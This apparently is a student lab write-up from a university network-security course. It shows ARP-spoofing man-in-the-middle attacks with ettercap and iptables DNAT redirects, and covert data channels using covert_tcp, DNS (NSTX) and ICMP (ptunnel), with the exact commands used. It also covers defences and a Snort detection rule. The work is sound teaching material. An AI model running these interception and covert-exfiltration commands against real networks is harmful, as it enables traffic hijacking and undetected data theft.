+Webservers are online
  +{{2009-2010:students:vic_ding:webserver_running.png|}}

yes

we are going to use ettercap ettercap

We tried to redirect the traffic for B to A by running the next command on A

• ettercap -T -i eth2 -M arp /145.100.105.34/

All this seem to do was block the connection to system B as long as ip_forwarding was not enabled (which ettercap disables for some reason) on system A. The thing is that you need to have ip_forwarding on, otherwise B doesn't have any connectivity and isn't reachable. And the webserver on B won't be reachable. Looking with wireshark we could not see the traffic being redirected, which was strange.

To redirect specific traffic like the webserver of B to the webserver on A we need to use iptables, this can easily done by executing the following command on A

• sudo iptables -t nat -A PREROUTING -d 145.100.105.34 -p tcp –dport 80 -j DNAT –to 145.100.104.16

What this does is tell host A that the “webserver of B” is at host A.

This worked the first time, we tried it. But when we stopped ettercap, the redirect did not disappear. It looked like iptables got stuck or something.

After a reboot we tried it again, only this time it did not work. Strangly enough host A is not responding as the webserver anymore. Even browsing from host A to the webserver of host B (145.100.105.34) did not work. Browsing from another machine was no problem.

We decided to test this with 2 VM instead, so we started a VM C with IP 145.100.105.35 and did a redirect for B to C with

• ettercap -T -i eth0 -M arp /145.100.105.34/

• sudo iptables -t nat -A PREROUTING -d 145.100.105.34 -p tcp –dport 80 -j DNAT –to 145.100.105.35

This also did not work until we changed the ettercap command as follows

• ettercap -T -i eth0 -M arp:remote /145.100.105.33/ /145.100.105.34/

here 145.100.105.33 is the router the VM use so.

Reproducing this for the host is something we haven't been able to do again. Something strange has happend on the host.

• You can use arpwatch, port security or manually configuring MAC addresses ¹⁾
• latency examination ²⁾
• Use a VPN ³⁾

• Stronger mutual authentication ⁴⁾⁵⁾
  • longer secret keys or
  • more complex passwords

<hi #ffff00>Improvement</hi>
With mutual authentication, two parties authenticating each other. User authenticates himself to a server and that server authenticates itself to the user in such a way that both parties are assured of the others' identity. By doing mutual authentication people can prevent mostly relay attack and hence MITM.

But, mutual authentication uses SSL, in most cases. And SSL was bounded with cipher suite with known security weakness (RC4, the IV has a strong correlation with the first three rounds)⁶⁾. A strong algorithm, like AES, should be used.

When the communication channel itself is safe, it still depend on the strength of the security token, in most cases it will be a password. The password should be complex enough to stand most attacks. And to make it safer, two-factor authentication can also be used. Like what the banks are doing in the Netherlands.

• Public key infrastructures⁷⁾
  • possible with proper version of SSL/TLS

Out of the box Snort is not configured to detect arpspoofing, but in snort.conf their is an option to use ARP spoof detection ⁸⁾. You just need to uncomment the following two lines

• preprocessor arpspoof
• preprocessor arpspoof_detect_host: IP MAC

and change the ip and mac to your own combination. Doing this is the same as manually configuring MAC addresses prevention we gave, so it does not have a real advantages, because its only more work, when your could have just as easily done the manually configuring.

Covert_TCP uses TCP to transfer stuff covertly, we first compile it like so:

• cc -o covert_tcp covert_tcp.c

the usage is explained here lab-steganography-instructions.htm

• on the client we did
  • (./covert_tcp -dest server_ip_addr -source client_ip_addr -file stufftosend.txt)
  • ./covert_tcp -dest 145.100.104.16 -source 145.100.102.143 -file stufftosend.txt
• on the server we did
  • (./covert_tcp -server -source client_ip_addr -file captured.txt)
  • ./covert_tcp -server -source 145.100.102.143 -file captured.txt

The result was

Destination Host: 145.100.104.16
Source Host     : 145.100.102.143
Originating Port: random
Destination Port: 
Encoded Filename: stufftosend.txt
Encoding Type   : IP ID

Client Mode: Sending data.

Sending Data: s
Sending Data: t
Sending Data: u
Sending Data: f
Sending Data: f
Sending Data: t
Sending Data: o
Sending Data: s
Sending Data: e
Sending Data: n
Sending Data: d
Sending Data:

What covert_tcp does is send and receive characters per second, this makes cover_tcp just as useless as classical crypto at this speed. But since it is based on tcp packets, this can go much faster.

No

We need to replay the test, only this time we added -dest_port 5777 and did it on a VM (to be sure that snort detects it) so we could easily sniff the port with tcpdump

in the dump we see that the first character is in the IP identification field, the next character is not in the next packet, but in the one after that. We need to alert when the IP fragbits are set to zero and the IP Identification field is not zero. The first is (according to the snort_manual-2_8_5_1.pdf) done with fragbits:MD!; The identification is set by id:value, the manual does not specify any matching criteria, but we need to have a not, so we are going to just try id:!0 (id not zero) and of course with the ip protocol

• alert ip any any → any any (fragbits:MD!; id:!0; msg:“possible covert_tcp!”; sid:999996;)

But as you might have guessed this gives to many false positives, like you can see here

Here we see that the first five lines are correctly captured, but that the next five lines below from some other traffic from somewhere else is also identified as the same. An alternative is to use some of the characters id's used like 7300 for the character s and 7400 for t and just detect them. But that is also a good candidate for false positives. So in the end it is a bit harder to detect it.

NSTX uses DNS to covertly send stuff and is available through apt-get and a how-to is available here nstx.html.

The easier to detect RR TXT field contains the description of the domain. It is a rather long field, so can contain a lot of data. Hence the throughput can be quite high. But also easier to be filtered.

If we use only the CNAME field which reduce the throughput to around 100Kbps, but it is much more difficult to detect or snort will generate too many false positive.

No

We can write a rule to alert on RR TXT field. But for CNAME, we cannot filter out. It is a totally legal and mandatory field for DNS.

Ptunnel uses ICMP traffic to covertly send stuff and is also available through apt-get a how-to is available here PingTunnel

• sudo apt-get install ptunnel (on both server and client)

• Starting on the server is:
  • sudo ptunnel
• Starting on the client is:
  • sudo ptunnel -p 145.100.105.35 -lp 9995 -da 145.100.104.16 -dp 80

Now we when we serv to http://145.100.105.35:9995/ we the webserver running of 145.100.104.16

Doing the test again for testing the throughput gave something weird, first the webserver on the VM is not responding and their are no ICMP packets going over the line.

No

I can not until i get the sniffing working

not really

You can try and detect this, but would result in a lot of false positives, which happend with covert_tcp. Inspecting the packets costs knowledge about where this information can be hidden and this is hard when you easily tweak the covert channel to do something else.